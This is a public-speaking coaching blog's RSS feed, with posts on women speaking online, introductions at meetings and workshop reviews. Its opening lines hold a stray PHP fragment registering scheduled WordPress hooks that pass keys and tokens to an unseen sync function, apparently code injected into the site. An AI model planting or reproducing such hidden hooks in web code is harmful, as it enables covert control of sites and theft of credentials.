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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Meetings & workshops Archives - Now you're talking https://www.nowyouretalking.co.uk/category/workshops/ Public speaking Wed, 23 Sep 2020 09:15:50 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Claim your voice – women speaking online https://www.nowyouretalking.co.uk/2020/09/23/claim-your-voice-women-speaking-online/ Wed, 23 Sep 2020 09:15:50 +0000 https://www.nowyouretalking.co.uk/?p=1280 Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their…

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]]> Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their voice and share their ideas.

For myriad complex reasons from being told we have no right to speak, to perfectionism, impostor syndrome and risk aversion, women are not taking up opportunities to speak. And the avoidance seems to be amplified online where women are often interrupted, spoken over or simply ignored by male counterparts.

If women want to step out of their comfort zone, they need to find their voice and become more visible. To achieve this online, we need to embrace the three essentials of communication – Confidence, Connection and a message that drives Change – in ways that work for us.

Confidence

In life, and as speakers and presenters, women struggle with confidence more than men. And having endured centuries of ‘put-downs’, it’s hardly surprising! Almost 3,000 years ago, Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own work, the loom and the distaff.

In 1988, Punch published a cartoon by Riana Duncan depicting five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies: “That’s an excellent suggestion Miss Triggs. Perhaps one of the men here would like to make it.”

Such evidence is borne out in the annual McKinsey and Lean In Women in the Workplace report, which in 2019, found that half the women surveyed had experienced being interrupted or spoken over and two in five referenced others taking credit for their ideas.

Hardly surprising, then, that women are reluctant to speak. Yet, online, more than being in the same room as our audience, we need to bring confident energy to the screen so that our audience can relax and connect with us and what we’re saying.

Ready for your close up?

Women speaking online can feel challenged by the format and reluctant to speak. As you look at a screen and see everyone’s face staring back at you, it can feel intimidating. So, we need to be happy with how we look and show ourselves to best advantage.

When you go online, it’s easy to overlook your familiar surroundings, but your computer’s camera and mic will relay everything in range. Check what your audience will see and hear and make sure it’s what you want them to see and hear.

Think about being online as having a close up. You’re on the small screen and the camera will pick up every detail, expression and gesture. Is your lighting setting you off to best advantage so that you’re not plunged into shadow, dazzled by sunshine or distorted by reflections bouncing off your face or glasses if you wear them? I’m often asked about clothes and I recommend comfortable and appropriate for your audience. Block colours can reinforce a look of confident professionalism.

Keep calm when speaking online

Relying on technology can sometimes feel like working with children and animals. In spite of doing all the appropriate tech checks, things can still go wrong. And people accept that this can happen. What’s important is that you handle it calmly and efficiently, explaining what’s happening; and even better, invite a participant to take care of the tech for you.

Show your confidence

Consider all the non-verbal ways you can convey confident energy online. Bear in mind that we can often only see small images of participants or even less if they have their webcams turned off. This makes it hard to read non-verbal cues so make them clear and deliberate:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, you’re on the small screen and big gestures that work in a large venue will overwhelm or fall off screen
  • Steady eye contact and the correct positioning of your camera lens at just above eye level make you look open and sincere and keep any double chins at bay!

Connection

If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

Answer their ‘What’s In It For Me?’

As the meeting host or presenter, it’s your responsibility to know what your listeners will value, ie answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that they have a reason to carry on listening. To achieve this, you need to know your participants, what makes them tick and what they want from you.

Given the propensity for women to be interrupted or talked over and the challenge of reading non-verbal cues online, it is particularly important to make sure everyone feels involved in the meeting and has a chance to speak if they want to. Lay down some clear etiquette ground rules. For instance:

  • Ask participants to indicate their questions in the chat function
  • Invite specific gestures from people wanting to speak, eg the hand wave on Zoom (or other in-platform symbols) or physically wave their own hand to attract the host’s attention
  • Encourage participants to turn on their cameras so that people don’t go unseen unless it’s their choice
  • Unmute and invite people, by name, to speak

‘You’ and ‘we’ are magic words

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power comes from being both singular – a personal connection through a one-to-one conversation – and plural, including everyone. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Share your story, not your screen

Storytelling comes into its own when speaking online. When we tell a relevant personal story, openly and honestly, our listeners can relate to us as people. Stories not only create connections, but they are both engaging and memorable:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to losing your listeners. Prioritise relevant storytelling at every opportunity.

Change

In the words of John F Kennedy, “The only reason to give a speech is to change the world.” Speaking up at meetings and events is our opportunity to remain visible, explore and share change and start building our future.

Message for the moment

To stand out online, what you have to say needs to be new and on point. Start at the end of your presentation or meeting with how you want people to think, feel or act afterwards. Identify your message and only incorporate content that supports it. Check your favourite search engine to make sure your message fits the bill.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Make life easy for your audience

Zoom fatigue and Teams tedium are now part of our lives and our attention spans are short at the best of times. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners. Less is most definitely more online.

Adopt a clear structure, such as a timeline, pros & cons, heroine’s journey, etc. Break up your presentation into small ‘chunks’ of around five minutes each and top and tail each chunk with what you’ll cover and a keyword to sum it up. Signpost what you have to say so your audience has the ‘road map’ for your talk and it’s clear and easy to follow.

Support each other and interact at every opportunity when speaking online

In Zoom and Teams you can create breakouts. Dividing your audience into smaller groups and sending them to separate rooms where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas. Aiming to make some 70% of the time interactive (interspersed with short presentations) will make time online more dynamic, relevant and memorable.

If you feel that the gender dynamic is making some participants reluctant to speak up, breakouts can create an opportunity for people to come together and support each other.

Conclusion

Women are half the world’s population. Women speaking online is an important opportunity to claim their voice and be seen and heard, while preparing for a future where we will almost certainly need to shine online AND in physical locations, with a real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article was originally published by Network She as ‘Claim your voice and shine online‘

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]]> You’re so much more than your business card – introduce yourself with impact https://www.nowyouretalking.co.uk/2020/01/05/make-an-impact/ Sun, 05 Jan 2020 19:26:50 +0000 https://www.nowyouretalking.co.uk/?p=966 You’re in one of those meetings where everyone is going around the table introducing themselves. It might be an all-the-rage networking meeting, a business meeting with some external participants or even an internal meeting. Meetings have increased in length and…

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]]> You’re in one of those meetings where everyone is going around the table introducing themselves. It might be an all-the-rage networking meeting, a business meeting with some external participants or even an internal meeting. Meetings have increased in length and frequency over the past 50 years, with all manner of questions around their value and how to make them more effective. What hasn’t changed, however, is the need to introduce yourself in a way that makes an impact. Introductions matter.

Introduce yourself with impactThis is an opportunity to make a good impression. Yet for many of us, our nerves are overwhelming and we don’t hear a word anyone else says. Worse, when we feel like this, our brain isn’t thinking at full capacity and we can become lost for words. Sound familiar? As your turn to speak gets closer and closer, your heart pounds louder and louder. At the same time, your breathing may become increasingly shallow as you stress about what to say. You’re not alone.

Blocking out other participants may buy you time to compose a fabulous introduction about you. But it denies you the opportunity to learn about your fellow meeting attendees. You know nothing about why they are in the meeting, their role and needs or how best to connect with them. In short, your nerves mean you miss out on tips about how to engage with them, persuade them or make a positive impression.

Women in particular often tell me they get really nervous introducing themselves, be it in a meeting or in networking situations. The result is that they miss out. They might avoid networking opportunities. They might miss what others are saying as they worry about what they’re going to say or that other people might question their authority to speak. But it’s not just women who miss out. By taking the ‘silent’ option, we all miss out on women’s thoughts and ideas, ie the thoughts and ideas of half the population.

But it doesn’t have to be this way. Here are four steps to help you craft your introduction and make an impact.

Impromptu doesn’t have to be impromptu

Consider the words of Mark Twain:

“I … never could make a good impromptu speech without several hours to prepare it.”

Or Winston Churchill’s admission that “I’m just preparing my impromptu remarks”.

Like these great orators, you should prepare what you want to say in your introduction and practise so that you can deliver it in a conversational and engaging way.

And if someone does ask you something unexpected or a follow-up question, think ‘PREP’ as a way of professionally structuring your response in a clear and engaging manner. Give your overall Point of view on the question/subject; your headline if you like. Follow this with a Reason for your opinion, illustrate with an Example and wrap up by summarising your main Point.

For instance, [P] I think everyone should learn to speak in public [R] because it’s a skill that builds confidence and benefits us in our work and private lives. [E] It breaks my heart when I hear stories about people passing up their dream job rather than facing their fear of speaking in public. In fact, four in five respondents (83%) in the Now You’re Talking Speaker Survey, said that giving a talk or presentation has helped their career. [P] Learning to speak in public can transform your life.

Don’t be afraid to use notes and still make an impact

If you prepare your opening remarks in advance, you are free to focus on what others are saying. However, there is nothing wrong with using notes until you become more confident and relaxed in your meetings. Jot down what people say about themselves as they offer their introduction so you can mention them in your own introduction if appropriate.

In addition, for your own input, take a small index card with bullet points of what you want to say.

You might even volunteer to go first, although that may be out of your control and determined by where you’re sitting. By going first, you get the fear out of the way, then you can relax and benefit from listening to others’ introductions.

Craft your content to make an impact

Keep introductions short and sweet. Remember less is more – under a minute, maybe even 30 seconds. Don’t waste these precious seconds with apologies or platitudes; cut to the chase. Give people:

  • Your name
  • Your purpose in the meeting – your contribution or expertise. This is your pitch, your chance to tell people what you want them to know about you and how you can help or make a difference. Don’t just give them your company and job title – they can get that from your business card. Share with them what they can expect from you in the meeting, what makes you stand out
  • A short, relevant and attention-grabbing (may even be humorous) personal story/anecdote about your purpose that connects with the people in the room and helps them remember you. Share, for instance, a story that tells them what makes you tick and how they will benefit from engaging with you.

Remember, this is not about you giving a perfect speech. This is about making an impact and connecting with the people around the table who want to know about you – speakers’ highest priority when they are talking in public (Now You’re Talking Speaker Survey). They are interested in who you are and what makes you tick. Your introduction is about giving them what they need, answering their question “What’s in it for me?” By repositioning your introduction as a relevant gift to your audience, you shift the spotlight away from you and focus it on the people you are connecting with – the others in the meeting.

Once you have crafted your introduction, you can use it at all sorts of meetings. However, you might want to vary your purpose and anecdotes to keep it fresh and relevant to the specific meeting.

Dial up your delivery

In the meeting, take your time. Take a nice deep breath in so that you can feel the air moving your ribs. Make a controlled breath out. Make eye contact with other people in the room. As you speak, maintain eye contact for a few words before moving to someone else. Eye contact is important because it demonstrates your sincerity and builds trust with your audience.

In western cultures, a big smile and high energy will ensure you come across as confident, engaging and enthusiastic. Speak up and speak clearly. Remember to uncross your arms and present a friendly, open posture. You may even  lean slightly forward towards fellow meeting participants to reinforce your interest in them and the meeting.

Conclusion

Meetings might just be your new best friend, a goldmine, offering you the opportunity to practise ways to make an impact when yo introduce yourself.

But meetings can be even more. With so many of them going on, think of meetings as your speaking practice ground. Draw up your own personal plan to finesse your speaking skills and roll it out in the meetings you attend because if speaking is nothing else, it should always be a work in progress:

“There are always three speeches, for every one you actually gave. The one you practiced, the one you gave, and the one you wish you gave.”
Dale Carnegie

Now you’re talking! Make an impact. Have a great meeting

First published by Network She

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]]> Speaking sweet spot – inspirational workshops https://www.nowyouretalking.co.uk/2018/12/13/speaking-sweet-spot-inspirational-workshops/ Thu, 13 Dec 2018 15:04:21 +0000 https://www.nowyouretalking.co.uk/?p=778 It’s wonderful to learn that Now You’re Talking workshops are finding the speaking sweet spot, inspiring and helping people with their public speaking and presentation skills. Entitled Overcoming butterflies, here’s what Chloe Bartlem from Razor Research had to say about…

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]]> It’s wonderful to learn that Now You’re Talking workshops are finding the speaking sweet spot, inspiring and helping people with their public speaking and presentation skills. Entitled Overcoming butterflies, here’s what Chloe Bartlem from Razor Research had to say about a workshop for the Association of Qualitative Researchers:

“Author Lyn Roseaman led the recent AQR Breakfast Bite on presentation skills, a nifty session that enthused, involved, and entertained, while inspiring attendees to get practising.

“I recently had the pleasure of attending AQR’s Breakfast Bite on presentation skills. I don’t mind presenting and it’s definitely something I’ve become more confident in, but I do get nervous beforehand — even if I know exactly what I’m talking about. I tend to use a lot of filler words (um, yea, like) that I’m desperate to beat out of myself. I was excited and curious: how much could be fitted into the allotted two hours?

“Charismatic, animated and radiating confidence, Lyn Roseaman was the perfect person to lead the session. To break the ice, we each introduced ourselves and shared our thoughts about a person who, in our opinion, was a good public speaker. Once we’d brainstormed the traits that made these people so great, we started talking about the importance of really knowing your audience, taking the time to know who’s in the room to listen to your presentation and tailoring your message to their framework.

“After running through some other tips and tricks (how to command the attention of the room, getting to the nitty gritty of the real purpose of your presentation and developing an anchor phrase) we moved onto some of the more practical activities. The first was to think about what people really hear when you’re presenting.

“Lyn asked us to consider our natural speaking voice and then how we could use different tones, volumes and paces to really create impact. Half the room was given the opportunity to put this into practice by reading from a passage, the rest listened and fed back. Our final activity of the morning was centred on body language: this really helped when thinking about how to inject more energy and animation into our debriefs.

“I found it a session well worth attending. There were tips, tricks, and hacks to suit every level that can easily be taken forward into future presentations. Now to get practising!”

Review by Chloe Bartlem
Copyright © Association for Qualitative Research, 2018

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]]> Professionally speaking https://www.nowyouretalking.co.uk/2018/09/25/professionally-speaking/ Tue, 25 Sep 2018 19:50:21 +0000 https://www.nowyouretalking.co.uk/?p=725 Professionally speaking,  AQR’s Breakfast Bites this morning was a fun and effective market research training. Dished up with coffee and pastries, The Research House, a Schlesinger Company offered a relaxed setting. In spite of the early start, everyone was alert and contributed…

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]]> Professionally speaking,  AQR’s Breakfast Bites this morning was a fun and effective market research training. Dished up with coffee and pastries, The Research House, a Schlesinger Company offered a relaxed setting. In spite of the early start, everyone was alert and contributed fully in a relaxed frame of mind. What a great way to learn and start the day.

Leading participants through some key elements of public speaking and presenting, we looked at:

  • The importance of focusing on your audience
  • Reaching your listeners with powerful and impactful messages
  • Keeping them engaged through storytelling
  • Harnessing your voice and gestures to ensure engaging and dynamic delivery.

Professionally speaking. Great speeches. Great speakers

To kick off the session, participants came up with some key words they associate with great speakers and great speeches. Have you got these key elements covered in your speeches?

 

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]]> You’re so much more than your business card – introductions matter https://www.nowyouretalking.co.uk/2018/06/27/youre-so-much-more-than-your-business-card-introducing-yourself-with-impact/ Wed, 27 Jun 2018 09:04:03 +0000 https://www.nowyouretalking.co.uk/?p=544 You’re in one of those meetings where everyone is going around the table introducing themselves. It might be an all-the-rage networking meeting, a business meeting with some external participants or even an internal meeting. Introductions are likely. Introductions matter. It’s…

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]]> You’re in one of those meetings where everyone is going around the table introducing themselves. It might be an all-the-rage networking meeting, a business meeting with some external participants or even an internal meeting. Introductions are likely. Introductions matter.

It’s an opportunity to make a good impression, but you can’t listen to a word anyone says because you’re nervous, worrying about what to say.  Blocking out other participants may or may not buy you time to concoct a fabulous introduction about you, but you know nothing about your fellow attendees.  You know nothing about their needs and how best to connect with them.  In short, you know nothing about how to persuade them to your point of view and make a positive impression.

But it doesn’t have to be this way.  Here are four steps to help you craft and deliver an impactful introduction.

1.  Remember impromptu doesn’t have to be impromptu

Consider the words of Mark Twain “I … never could make a good impromptu speech without several hours to prepare it.”  Or Winston Churchill’s admission that “I’m just preparing my impromptu remarks”.

Like these great orators, you should prepare what you want to say in your introductions and practise so that you can deliver in a conversational and engaging way.

2.  Don’t be afraid to use notes for introductions

If you prepare your opening remarks in advance, you are free to focus on what others are saying.  However, there is nothing wrong with using notes until you become more confident and relaxed in your meetings.  Jot down what people say about themselves as they offer their introduction.

For your own input, take a small index card with bullet points of what you want to say.

3.  Craft your content

Keep introductions short and sweet.  Remember less is more – under a minute, maybe even 30 seconds.  Don’t waste these precious seconds with apologies or platitudes; cut to the chase.  Give people:

  • Your name
  • Your purpose in the meeting – your contribution or expertise; how you can help. Don’t just give them your company and job title – they can get that from your business card.  Share with them what they can expect from you in the meeting
  • A short, relevant and attention-grabbing (maybe humorous) anecdote about your purpose that connects with the people in the room and helps them remember you. That story that tells them what makes you tick.

Remember, this is not all about you.  The people around the table want to know who you are and what makes you tick.  Your introduction is about giving them what they need, answering their question “What’s in it for me?”  By repositioning your introduction as a gift to your audience, you take the spotlight off you and focus it on the people you are connecting with – the other people in the meeting.

Once you have crafted your introduction, you can use it at all sorts of meetings, though you might want to vary your purpose and anecdotes to keep your words fresh and relevant to the specific meeting.

4.  Dial up your delivery

A big smile and high energy will ensure you come across as engaging and enthusiastic.  Speak up and speak clearly.  Remember to uncross your arms and present a friendly, open posture.  You may even want to lean slightly forward towards fellow meeting participants to reinforce your interest in the people and the meeting.

Have a great meeting!

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]]> Now You’re Talking in Paris https://www.nowyouretalking.co.uk/2018/03/25/now-youre-talking-in-paris/ Sun, 25 Mar 2018 17:04:45 +0000 https://www.nowyouretalking.co.uk/?p=450 Just spent a wonderful few days at the University of London Institute in Paris, working with great students and staff on their speaking skills #publicspeaking #workshops #training #coaching #education #Paris. Thanks Tim Gore for the invitation

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]]> Just spent a wonderful few days at the University of London Institute in Paris, working with great students and staff on their speaking skills #publicspeaking #workshops #training #coaching #education #Paris. Thanks Tim Gore for the invitation

Sacre Coeur, Paris L'Arc de Triomphe, Paris Opera, Paris Invalides, Paris

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